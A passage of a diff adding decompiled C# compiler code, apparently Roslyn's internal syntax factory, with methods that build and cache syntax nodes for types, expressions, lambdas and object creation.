FunctionPointerParameterListSyntax(SyntaxKind.FunctionPointerParameterList, lessThanToken, parameters.Node, greaterThanToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)functionPointerParameterListSyntax, num); + } + return functionPointerParameterListSyntax; + } + + public static FunctionPointerCallingConventionSyntax FunctionPointerCallingConvention(SyntaxToken managedOrUnmanagedKeyword, FunctionPointerUnmanagedCallingConventionListSyntax? unmanagedCallingConventionList) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9059, (GreenNode)(object)managedOrUnmanagedKeyword, (GreenNode)(object)unmanagedCallingConventionList, ref num); + if (val != null) + { + return (FunctionPointerCallingConventionSyntax)(object)val; + } + FunctionPointerCallingConventionSyntax functionPointerCallingConventionSyntax = new FunctionPointerCallingConventionSyntax(SyntaxKind.FunctionPointerCallingConvention, managedOrUnmanagedKeyword, unmanagedCallingConventionList); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)functionPointerCallingConventionSyntax, num); + } + return functionPointerCallingConventionSyntax; + } + + public static FunctionPointerUnmanagedCallingConventionListSyntax FunctionPointerUnmanagedCallingConventionList(SyntaxToken openBracketToken, SeparatedSyntaxList callingConventions, SyntaxToken closeBracketToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9066, (GreenNode)(object)openBracketToken, callingConventions.Node, (GreenNode)(object)closeBracketToken, ref num); + if (val != null) + { + return (FunctionPointerUnmanagedCallingConventionListSyntax)(object)val; + } + FunctionPointerUnmanagedCallingConventionListSyntax functionPointerUnmanagedCallingConventionListSyntax = new FunctionPointerUnmanagedCallingConventionListSyntax(SyntaxKind.FunctionPointerUnmanagedCallingConventionList, openBracketToken, callingConventions.Node, closeBracketToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)functionPointerUnmanagedCallingConventionListSyntax, num); + } + return functionPointerUnmanagedCallingConventionListSyntax; + } + + public static FunctionPointerUnmanagedCallingConventionSyntax FunctionPointerUnmanagedCallingConvention(SyntaxToken name) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9067, (GreenNode)(object)name, ref num); + if (val != null) + { + return (FunctionPointerUnmanagedCallingConventionSyntax)(object)val; + } + FunctionPointerUnmanagedCallingConventionSyntax functionPointerUnmanagedCallingConventionSyntax = new FunctionPointerUnmanagedCallingConventionSyntax(SyntaxKind.FunctionPointerUnmanagedCallingConvention, name); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)functionPointerUnmanagedCallingConventionSyntax, num); + } + return functionPointerUnmanagedCallingConventionSyntax; + } + + public static NullableTypeSyntax NullableType(TypeSyntax elementType, SyntaxToken questionToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8625, (GreenNode)(object)elementType, (GreenNode)(object)questionToken, ref num); + if (val != null) + { + return (NullableTypeSyntax)(object)val; + } + NullableTypeSyntax nullableTypeSyntax = new NullableTypeSyntax(SyntaxKind.NullableType, elementType, questionToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)nullableTypeSyntax, num); + } + return nullableTypeSyntax; + } + + public static TupleTypeSyntax TupleType(SyntaxToken openParenToken, SeparatedSyntaxList elements, SyntaxToken closeParenToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8924, (GreenNode)(object)openParenToken, elements.Node, (GreenNode)(object)closeParenToken, ref num); + if (val != null) + { + return (TupleTypeSyntax)(object)val; + } + TupleTypeSyntax tupleTypeSyntax = new TupleTypeSyntax(SyntaxKind.TupleType, openParenToken, elements.Node, closeParenToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)tupleTypeSyntax, num); + } + return tupleTypeSyntax; + } + + public static TupleElementSyntax TupleElement(TypeSyntax type, SyntaxToken? identifier) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8925, (GreenNode)(object)type, (GreenNode)(object)identifier, ref num); + if (val != null) + { + return (TupleElementSyntax)(object)val; + } + TupleElementSyntax tupleElementSyntax = new TupleElementSyntax(SyntaxKind.TupleElement, type, identifier); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)tupleElementSyntax, num); + } + return tupleElementSyntax; + } + + public static OmittedTypeArgumentSyntax OmittedTypeArgument(SyntaxToken omittedTypeArgumentToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8626, (GreenNode)(object)omittedTypeArgumentToken, ref num); + if (val != null) + { + return (OmittedTypeArgumentSyntax)(object)val; + } + OmittedTypeArgumentSyntax omittedTypeArgumentSyntax = new OmittedTypeArgumentSyntax(SyntaxKind.OmittedTypeArgument, omittedTypeArgumentToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)omittedTypeArgumentSyntax, num); + } + return omittedTypeArgumentSyntax; + } + + public static RefTypeSyntax RefType(SyntaxToken refKeyword, SyntaxToken? readOnlyKeyword, TypeSyntax type) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9051, (GreenNode)(object)refKeyword, (GreenNode)(object)readOnlyKeyword, (GreenNode)(object)type, ref num); + if (val != null) + { + return (RefTypeSyntax)(object)val; + } + RefTypeSyntax refTypeSyntax = new RefTypeSyntax(SyntaxKind.RefType, refKeyword, readOnlyKeyword, type); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)refTypeSyntax, num); + } + return refTypeSyntax; + } + + public static ScopedTypeSyntax ScopedType(SyntaxToken scopedKeyword, TypeSyntax type) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9075, (GreenNode)(object)scopedKeyword, (GreenNode)(object)type, ref num); + if (val != null) + { + return (ScopedTypeSyntax)(object)val; + } + ScopedTypeSyntax scopedTypeSyntax = new ScopedTypeSyntax(SyntaxKind.ScopedType, scopedKeyword, type); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)scopedTypeSyntax, num); + } + return scopedTypeSyntax; + } + + public static ParenthesizedExpressionSyntax ParenthesizedExpression(SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8632, (GreenNode)(object)openParenToken, (GreenNode)(object)expression, (GreenNode)(object)closeParenToken, ref num); + if (val != null) + { + return (ParenthesizedExpressionSyntax)(object)val; + } + ParenthesizedExpressionSyntax parenthesizedExpressionSyntax = new ParenthesizedExpressionSyntax(SyntaxKind.ParenthesizedExpression, openParenToken, expression, closeParenToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)parenthesizedExpressionSyntax, num); + } + return parenthesizedExpressionSyntax; + } + + public static TupleExpressionSyntax TupleExpression(SyntaxToken openParenToken, SeparatedSyntaxList arguments, SyntaxToken closeParenToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8926, (GreenNode)(object)openParenToken, arguments.Node, (GreenNode)(object)closeParenToken, ref num); + if (val != null) + { + return (TupleExpressionSyntax)(object)val; + } + TupleExpressionSyntax tupleExpressionSyntax = new TupleExpressionSyntax(SyntaxKind.TupleExpression, openParenToken, arguments.Node, closeParenToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)tupleExpressionSyntax, num); + } + return tupleExpressionSyntax; + } + + public static PrefixUnaryExpressionSyntax PrefixUnaryExpression(SyntaxKind kind, SyntaxToken operatorToken, ExpressionSyntax operand) + { + if (kind - 8730 > (SyntaxKind)7 && kind != SyntaxKind.IndexExpression) + { + throw new ArgumentException("kind"); + } + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode((int)kind, (GreenNode)(object)operatorToken, (GreenNode)(object)operand, ref num); + if (val != null) + { + return (PrefixUnaryExpressionSyntax)(object)val; + } + PrefixUnaryExpressionSyntax prefixUnaryExpressionSyntax = new PrefixUnaryExpressionSyntax(kind, operatorToken, operand); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)prefixUnaryExpressionSyntax, num); + } + return prefixUnaryExpressionSyntax; + } + + public static AwaitExpressionSyntax AwaitExpression(SyntaxToken awaitKeyword, ExpressionSyntax expression) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8740, (GreenNode)(object)awaitKeyword, (GreenNode)(object)expression, ref num); + if (val != null) + { + return (AwaitExpressionSyntax)(object)val; + } + AwaitExpressionSyntax awaitExpressionSyntax = new AwaitExpressionSyntax(SyntaxKind.AwaitExpression, awaitKeyword, expression); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)awaitExpressionSyntax, num); + } + return awaitExpressionSyntax; + } + + public static PostfixUnaryExpressionSyntax PostfixUnaryExpression(SyntaxKind kind, ExpressionSyntax operand, SyntaxToken operatorToken) + { + if (kind - 8738 > SyntaxKind.List && kind != SyntaxKind.SuppressNullableWarningExpression) + { + throw new ArgumentException("kind"); + } + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode((int)kind, (GreenNode)(object)operand, (GreenNode)(object)operatorToken, ref num); + if (val != null) + { + return (PostfixUnaryExpressionSyntax)(object)val; + } + PostfixUnaryExpressionSyntax postfixUnaryExpressionSyntax = new PostfixUnaryExpressionSyntax(kind, operand, operatorToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)postfixUnaryExpressionSyntax, num); + } + return postfixUnaryExpressionSyntax; + } + + public static MemberAccessExpressionSyntax MemberAccessExpression(SyntaxKind kind, ExpressionSyntax expression, SyntaxToken operatorToken, SimpleNameSyntax name) + { + if (kind - 8689 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode((int)kind, (GreenNode)(object)expression, (GreenNode)(object)operatorToken, (GreenNode)(object)name, ref num); + if (val != null) + { + return (MemberAccessExpressionSyntax)(object)val; + } + MemberAccessExpressionSyntax memberAccessExpressionSyntax = new MemberAccessExpressionSyntax(kind, expression, operatorToken, name); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)memberAccessExpressionSyntax, num); + } + return memberAccessExpressionSyntax; + } + + public static ConditionalAccessExpressionSyntax ConditionalAccessExpression(ExpressionSyntax expression, SyntaxToken operatorToken, ExpressionSyntax whenNotNull) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8691, (GreenNode)(object)expression, (GreenNode)(object)operatorToken, (GreenNode)(object)whenNotNull, ref num); + if (val != null) + { + return (ConditionalAccessExpressionSyntax)(object)val; + } + ConditionalAccessExpressionSyntax conditionalAccessExpressionSyntax = new ConditionalAccessExpressionSyntax(SyntaxKind.ConditionalAccessExpression, expression, operatorToken, whenNotNull); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)conditionalAccessExpressionSyntax, num); + } + return conditionalAccessExpressionSyntax; + } + + public static MemberBindingExpressionSyntax MemberBindingExpression(SyntaxToken operatorToken, SimpleNameSyntax name) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8707, (GreenNode)(object)operatorToken, (GreenNode)(object)name, ref num); + if (val != null) + { + return (MemberBindingExpressionSyntax)(object)val; + } + MemberBindingExpressionSyntax memberBindingExpressionSyntax = new MemberBindingExpressionSyntax(SyntaxKind.MemberBindingExpression, operatorToken, name); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)memberBindingExpressionSyntax, num); + } + return memberBindingExpressionSyntax; + } + + public static ElementBindingExpressionSyntax ElementBindingExpression(BracketedArgumentListSyntax argumentList) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8708, (GreenNode)(object)argumentList, ref num); + if (val != null) + { + return (ElementBindingExpressionSyntax)(object)val; + } + ElementBindingExpressionSyntax elementBindingExpressionSyntax = new ElementBindingExpressionSyntax(SyntaxKind.ElementBindingExpression, argumentList); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)elementBindingExpressionSyntax, num); + } + return elementBindingExpressionSyntax; + } + + public static RangeExpressionSyntax RangeExpression(ExpressionSyntax? leftOperand, SyntaxToken operatorToken, ExpressionSyntax? rightOperand) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8658, (GreenNode)(object)leftOperand, (GreenNode)(object)operatorToken, (GreenNode)(object)rightOperand, ref num); + if (val != null) + { + return (RangeExpressionSyntax)(object)val; + } + RangeExpressionSyntax rangeExpressionSyntax = new RangeExpressionSyntax(SyntaxKind.RangeExpression, leftOperand, operatorToken, rightOperand); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)rangeExpressionSyntax, num); + } + return rangeExpressionSyntax; + } + + public static ImplicitElementAccessSyntax ImplicitElementAccess(BracketedArgumentListSyntax argumentList) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8656, (GreenNode)(object)argumentList, ref num); + if (val != null) + { + return (ImplicitElementAccessSyntax)(object)val; + } + ImplicitElementAccessSyntax implicitElementAccessSyntax = new ImplicitElementAccessSyntax(SyntaxKind.ImplicitElementAccess, argumentList); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)implicitElementAccessSyntax, num); + } + return implicitElementAccessSyntax; + } + + public static BinaryExpressionSyntax BinaryExpression(SyntaxKind kind, ExpressionSyntax left, SyntaxToken operatorToken, ExpressionSyntax right) + { + if (kind - 8668 > (SyntaxKind)20 && kind != SyntaxKind.UnsignedRightShiftExpression) + { + throw new ArgumentException("kind"); + } + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode((int)kind, (GreenNode)(object)left, (GreenNode)(object)operatorToken, (GreenNode)(object)right, ref num); + if (val != null) + { + return (BinaryExpressionSyntax)(object)val; + } + BinaryExpressionSyntax binaryExpressionSyntax = new BinaryExpressionSyntax(kind, left, operatorToken, right); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)binaryExpressionSyntax, num); + } + return binaryExpressionSyntax; + } + + public static AssignmentExpressionSyntax AssignmentExpression(SyntaxKind kind, ExpressionSyntax left, SyntaxToken operatorToken, ExpressionSyntax right) + { + if (kind - 8714 > (SyntaxKind)12) + { + throw new ArgumentException("kind"); + } + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode((int)kind, (GreenNode)(object)left, (GreenNode)(object)operatorToken, (GreenNode)(object)right, ref num); + if (val != null) + { + return (AssignmentExpressionSyntax)(object)val; + } + AssignmentExpressionSyntax assignmentExpressionSyntax = new AssignmentExpressionSyntax(kind, left, operatorToken, right); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)assignmentExpressionSyntax, num); + } + return assignmentExpressionSyntax; + } + + public static ConditionalExpressionSyntax ConditionalExpression(ExpressionSyntax condition, SyntaxToken questionToken, ExpressionSyntax whenTrue, SyntaxToken colonToken, ExpressionSyntax whenFalse) + { + return new ConditionalExpressionSyntax(SyntaxKind.ConditionalExpression, condition, questionToken, whenTrue, colonToken, whenFalse); + } + + public static ThisExpressionSyntax ThisExpression(SyntaxToken token) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8746, (GreenNode)(object)token, ref num); + if (val != null) + { + return (ThisExpressionSyntax)(object)val; + } + ThisExpressionSyntax thisExpressionSyntax = new ThisExpressionSyntax(SyntaxKind.ThisExpression, token); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)thisExpressionSyntax, num); + } + return thisExpressionSyntax; + } + + public static BaseExpressionSyntax BaseExpression(SyntaxToken token) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8747, (GreenNode)(object)token, ref num); + if (val != null) + { + return (BaseExpressionSyntax)(object)val; + } + BaseExpressionSyntax baseExpressionSyntax = new BaseExpressionSyntax(SyntaxKind.BaseExpression, token); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)baseExpressionSyntax, num); + } + return baseExpressionSyntax; + } + + public static LiteralExpressionSyntax LiteralExpression(SyntaxKind kind, SyntaxToken token) + { + if (kind - 8748 > (SyntaxKind)8) + { + throw new ArgumentException("kind"); + } + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode((int)kind, (GreenNode)(object)token, ref num); + if (val != null) + { + return (LiteralExpressionSyntax)(object)val; + } + LiteralExpressionSyntax literalExpressionSyntax = new LiteralExpressionSyntax(kind, token); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)literalExpressionSyntax, num); + } + return literalExpressionSyntax; + } + + public static MakeRefExpressionSyntax MakeRefExpression(SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken) + { + return new MakeRefExpressionSyntax(SyntaxKind.MakeRefExpression, keyword, openParenToken, expression, closeParenToken); + } + + public static RefTypeExpressionSyntax RefTypeExpression(SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken) + { + return new RefTypeExpressionSyntax(SyntaxKind.RefTypeExpression, keyword, openParenToken, expression, closeParenToken); + } + + public static RefValueExpressionSyntax RefValueExpression(SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken comma, TypeSyntax type, SyntaxToken closeParenToken) + { + return new RefValueExpressionSyntax(SyntaxKind.RefValueExpression, keyword, openParenToken, expression, comma, type, closeParenToken); + } + + public static CheckedExpressionSyntax CheckedExpression(SyntaxKind kind, SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken) + { + if (kind - 8762 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + return new CheckedExpressionSyntax(kind, keyword, openParenToken, expression, closeParenToken); + } + + public static DefaultExpressionSyntax DefaultExpression(SyntaxToken keyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken) + { + return new DefaultExpressionSyntax(SyntaxKind.DefaultExpression, keyword, openParenToken, type, closeParenToken); + } + + public static TypeOfExpressionSyntax TypeOfExpression(SyntaxToken keyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken) + { + return new TypeOfExpressionSyntax(SyntaxKind.TypeOfExpression, keyword, openParenToken, type, closeParenToken); + } + + public static SizeOfExpressionSyntax SizeOfExpression(SyntaxToken keyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken) + { + return new SizeOfExpressionSyntax(SyntaxKind.SizeOfExpression, keyword, openParenToken, type, closeParenToken); + } + + public static InvocationExpressionSyntax InvocationExpression(ExpressionSyntax expression, ArgumentListSyntax argumentList) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8634, (GreenNode)(object)expression, (GreenNode)(object)argumentList, ref num); + if (val != null) + { + return (InvocationExpressionSyntax)(object)val; + } + InvocationExpressionSyntax invocationExpressionSyntax = new InvocationExpressionSyntax(SyntaxKind.InvocationExpression, expression, argumentList); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)invocationExpressionSyntax, num); + } + return invocationExpressionSyntax; + } + + public static ElementAccessExpressionSyntax ElementAccessExpression(ExpressionSyntax expression, BracketedArgumentListSyntax argumentList) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8635, (GreenNode)(object)expression, (GreenNode)(object)argumentList, ref num); + if (val != null) + { + return (ElementAccessExpressionSyntax)(object)val; + } + ElementAccessExpressionSyntax elementAccessExpressionSyntax = new ElementAccessExpressionSyntax(SyntaxKind.ElementAccessExpression, expression, argumentList); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)elementAccessExpressionSyntax, num); + } + return elementAccessExpressionSyntax; + } + + public static ArgumentListSyntax ArgumentList(SyntaxToken openParenToken, SeparatedSyntaxList arguments, SyntaxToken closeParenToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8636, (GreenNode)(object)openParenToken, arguments.Node, (GreenNode)(object)closeParenToken, ref num); + if (val != null) + { + return (ArgumentListSyntax)(object)val; + } + ArgumentListSyntax argumentListSyntax = new ArgumentListSyntax(SyntaxKind.ArgumentList, openParenToken, arguments.Node, closeParenToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)argumentListSyntax, num); + } + return argumentListSyntax; + } + + public static BracketedArgumentListSyntax BracketedArgumentList(SyntaxToken openBracketToken, SeparatedSyntaxList arguments, SyntaxToken closeBracketToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8637, (GreenNode)(object)openBracketToken, arguments.Node, (GreenNode)(object)closeBracketToken, ref num); + if (val != null) + { + return (BracketedArgumentListSyntax)(object)val; + } + BracketedArgumentListSyntax bracketedArgumentListSyntax = new BracketedArgumentListSyntax(SyntaxKind.BracketedArgumentList, openBracketToken, arguments.Node, closeBracketToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)bracketedArgumentListSyntax, num); + } + return bracketedArgumentListSyntax; + } + + public static ArgumentSyntax Argument(NameColonSyntax? nameColon, SyntaxToken? refKindKeyword, ExpressionSyntax expression) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8638, (GreenNode)(object)nameColon, (GreenNode)(object)refKindKeyword, (GreenNode)(object)expression, ref num); + if (val != null) + { + return (ArgumentSyntax)(object)val; + } + ArgumentSyntax argumentSyntax = new ArgumentSyntax(SyntaxKind.Argument, nameColon, refKindKeyword, expression); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)argumentSyntax, num); + } + return argumentSyntax; + } + + public static ExpressionColonSyntax ExpressionColon(ExpressionSyntax expression, SyntaxToken colonToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9069, (GreenNode)(object)expression, (GreenNode)(object)colonToken, ref num); + if (val != null) + { + return (ExpressionColonSyntax)(object)val; + } + ExpressionColonSyntax expressionColonSyntax = new ExpressionColonSyntax(SyntaxKind.ExpressionColon, expression, colonToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)expressionColonSyntax, num); + } + return expressionColonSyntax; + } + + public static NameColonSyntax NameColon(IdentifierNameSyntax name, SyntaxToken colonToken) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8639, (GreenNode)(object)name, (GreenNode)(object)colonToken, ref num); + if (val != null) + { + return (NameColonSyntax)(object)val; + } + NameColonSyntax nameColonSyntax = new NameColonSyntax(SyntaxKind.NameColon, name, colonToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)nameColonSyntax, num); + } + return nameColonSyntax; + } + + public static DeclarationExpressionSyntax DeclarationExpression(TypeSyntax type, VariableDesignationSyntax designation) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9040, (GreenNode)(object)type, (GreenNode)(object)designation, ref num); + if (val != null) + { + return (DeclarationExpressionSyntax)(object)val; + } + DeclarationExpressionSyntax declarationExpressionSyntax = new DeclarationExpressionSyntax(SyntaxKind.DeclarationExpression, type, designation); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)declarationExpressionSyntax, num); + } + return declarationExpressionSyntax; + } + + public static CastExpressionSyntax CastExpression(SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken, ExpressionSyntax expression) + { + return new CastExpressionSyntax(SyntaxKind.CastExpression, openParenToken, type, closeParenToken, expression); + } + + public static AnonymousMethodExpressionSyntax AnonymousMethodExpression(SyntaxList modifiers, SyntaxToken delegateKeyword, ParameterListSyntax? parameterList, BlockSyntax block, ExpressionSyntax? expressionBody) + { + return new AnonymousMethodExpressionSyntax(SyntaxKind.AnonymousMethodExpression, modifiers.Node, delegateKeyword, parameterList, block, expressionBody); + } + + public static SimpleLambdaExpressionSyntax SimpleLambdaExpression(SyntaxList attributeLists, SyntaxList modifiers, ParameterSyntax parameter, SyntaxToken arrowToken, BlockSyntax? block, ExpressionSyntax? expressionBody) + { + return new SimpleLambdaExpressionSyntax(SyntaxKind.SimpleLambdaExpression, attributeLists.Node, modifiers.Node, parameter, arrowToken, block, expressionBody); + } + + public static RefExpressionSyntax RefExpression(SyntaxToken refKeyword, ExpressionSyntax expression) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9050, (GreenNode)(object)refKeyword, (GreenNode)(object)expression, ref num); + if (val != null) + { + return (RefExpressionSyntax)(object)val; + } + RefExpressionSyntax refExpressionSyntax = new RefExpressionSyntax(SyntaxKind.RefExpression, refKeyword, expression); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)refExpressionSyntax, num); + } + return refExpressionSyntax; + } + + public static ParenthesizedLambdaExpressionSyntax ParenthesizedLambdaExpression(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax? returnType, ParameterListSyntax parameterList, SyntaxToken arrowToken, BlockSyntax? block, ExpressionSyntax? expressionBody) + { + return new ParenthesizedLambdaExpressionSyntax(SyntaxKind.ParenthesizedLambdaExpression, attributeLists.Node, modifiers.Node, returnType, parameterList, arrowToken, block, expressionBody); + } + + public static InitializerExpressionSyntax InitializerExpression(SyntaxKind kind, SyntaxToken openBraceToken, SeparatedSyntaxList expressions, SyntaxToken closeBraceToken) + { + if (kind - 8644 > (SyntaxKind)2 && kind != SyntaxKind.ComplexElementInitializerExpression && kind != SyntaxKind.WithInitializerExpression) + { + throw new ArgumentException("kind"); + } + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode((int)kind, (GreenNode)(object)openBraceToken, expressions.Node, (GreenNode)(object)closeBraceToken, ref num); + if (val != null) + { + return (InitializerExpressionSyntax)(object)val; + } + InitializerExpressionSyntax initializerExpressionSyntax = new InitializerExpressionSyntax(kind, openBraceToken, expressions.Node, closeBraceToken); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)initializerExpressionSyntax, num); + } + return initializerExpressionSyntax; + } + + public static ImplicitObjectCreationExpressionSyntax ImplicitObjectCreationExpression(SyntaxToken newKeyword, ArgumentListSyntax argumentList, InitializerExpressionSyntax? initializer) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8659, (GreenNode)(object)newKeyword, (GreenNode)(object)argumentList, (GreenNode)(object)initializer, ref num); + if (val != null) + { + return (ImplicitObjectCreationExpressionSyntax)(object)val; + } + ImplicitObjectCreationExpressionSyntax implicitObjectCreationExpressionSyntax = new ImplicitObjectCreationExpressionSyntax(SyntaxKind.ImplicitObjectCreationExpression, newKeyword, argumentList, initializer); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)implicitObjectCreationExpressionSyntax, num); + } + return implicitObjectCreationExpressionSyntax; + } + + public static ObjectCreationExpressionSyntax ObjectCreationExpression(SyntaxToken newKeyword, TypeSyntax type, ArgumentListSyntax? argumentList, InitializerExpressionSyntax? initializer) + { + return new ObjectCreationExpressionSyntax(SyntaxKind.ObjectCreationExpression, newKeyword, type, argumentList, initializer); + } + + public static WithExpressionSyntax WithExpression(ExpressionSyntax expression, SyntaxToken withKeyword, InitializerExpressionSyntax initializer) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(9061, (GreenNode)(object)expression, (GreenNode)(object)withKeyword, (GreenNode)(object)initializer, ref num); + if (val != null) + { + return (WithExpressionSyntax)(object)val; + } + WithExpressionSyntax withExpressionSyntax = new WithExpressionSyntax(SyntaxKind.WithExpression, expression, withKeyword, initializer); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)withExpressionSyntax, num); + } + return withExpressionSyntax; + } + + public static AnonymousObjectMemberDeclaratorSyntax AnonymousObjectMemberDeclarator(NameEqualsSyntax? nameEquals, ExpressionSyntax expression) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8647, (GreenNode)(object)nameEquals, (GreenNode)(object)expression, ref num); + if (val != null) + { + return (AnonymousObjectMemberDeclaratorSyntax)(object)val; + } + AnonymousObjectMemberDeclaratorSyntax anonymousObjectMemberDeclaratorSyntax = new AnonymousObjectMemberDeclaratorSyntax(SyntaxKind.AnonymousObjectMemberDeclarator, nameEquals, expression); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)anonymousObjectMemberDeclaratorSyntax, num); + } + return anonymousObjectMemberDeclaratorSyntax; + } + + public static AnonymousObjectCreationExpressionSyntax AnonymousObjectCreationExpression(SyntaxToken newKeyword, SyntaxToken openBraceToken, SeparatedSyntaxList initializers, SyntaxToken closeBraceToken) + { + return new AnonymousObjectCreationExpressionSyntax(SyntaxKind.AnonymousObjectCreationExpression, newKeyword, openBraceToken, initializers.Node, closeBraceToken); + } + + public static ArrayCreationExpressionSyntax ArrayCreationExpression(SyntaxToken newKeyword, ArrayTypeSyntax type, InitializerExpressionSyntax? initializer) + { + int num = default(int); + GreenNode val = SyntaxNodeCache.TryGetNode(8651, (GreenNode)(object)newKeyword, (GreenNode)(object)type, (GreenNode)(object)initializer, ref num); + if (val != null) + { + return (ArrayCreationExpressionSyntax)(object)val; + } + ArrayCreationExpressionSyntax arrayCreationExpressionSyntax = new ArrayCreationExpressionSyntax(SyntaxKind.ArrayCreationExpression, newKeyword, type, initializer); + if (num >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)arrayCreationExpressionSyntax, num); + } + return arrayCreationExpressionSyntax; + } + + public static ImplicitArrayCreationExpressionSyntax ImplicitArrayCreationExpression(SyntaxToken newKeyword, SyntaxToken openBracketToken, SyntaxList commas, SyntaxToken closeBracketToken, InitializerExpressionSyntax initializer) + { + return new ImplicitArrayCreationExpressionSyntax(SyntaxKind.ImplicitArrayCreationExpression, newKeyword, openBracketToken, commas.Node, closeBracketToken, initializer); + } + + public static StackAllocArrayCreationExpressionSyntax StackAllocArrayCreationExpression(SyntaxToken stackAllocKeyword, TypeSyntax type, InitializerExpressionSyntax? initializer) + { 